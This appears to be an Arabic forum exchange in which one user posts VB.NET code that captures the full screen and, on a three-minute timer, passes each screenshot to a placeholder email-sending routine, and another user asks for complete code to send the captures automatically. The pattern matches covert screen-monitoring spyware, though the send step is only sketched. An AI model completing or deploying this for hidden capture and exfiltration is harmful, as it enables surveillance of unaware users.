[mustang]

3booody كتب :اولآ ضع هذه الدالة

كود :

Private Function imag() As Image
        Dim bounds As Rectangle = Screen.PrimaryScreen.Bounds
        Dim bitm As New Bitmap(bounds.Width, bounds.Height)
        Dim gr As Graphics = Graphics.FromImage(bitm)
        gr.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, _
CopyPixelOperation.SourceCopy)
        Return bitm
    End Function

[COLOR="#800000"]ثم ضع واحد تايمر واجعل الخاصية Interval=180000 وهي كل ثلاث دقائق
ولنفترض ان حدث ارساله الصوره للإيميل هو SendFile[/COLOR]

كود :

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        MyEmail.SendFile(imag)
    End Sub

طبعآ مقصد كلامي على حسب نوع الايميل الي انته تعمله يعني MyEmail.SendFile(imag) هي كـ فرضية

حياك الله يا اخ عبودى
بس معلش عشان انا معنديش خبرة كافية فى برمجة الاتصال
ممكن تدينى كود كامل عن الفكرة كلها او شرح وافى عن طريقة ارسال الصورة الملتقطة وارسالها اتوماتيك على البريد
شكرا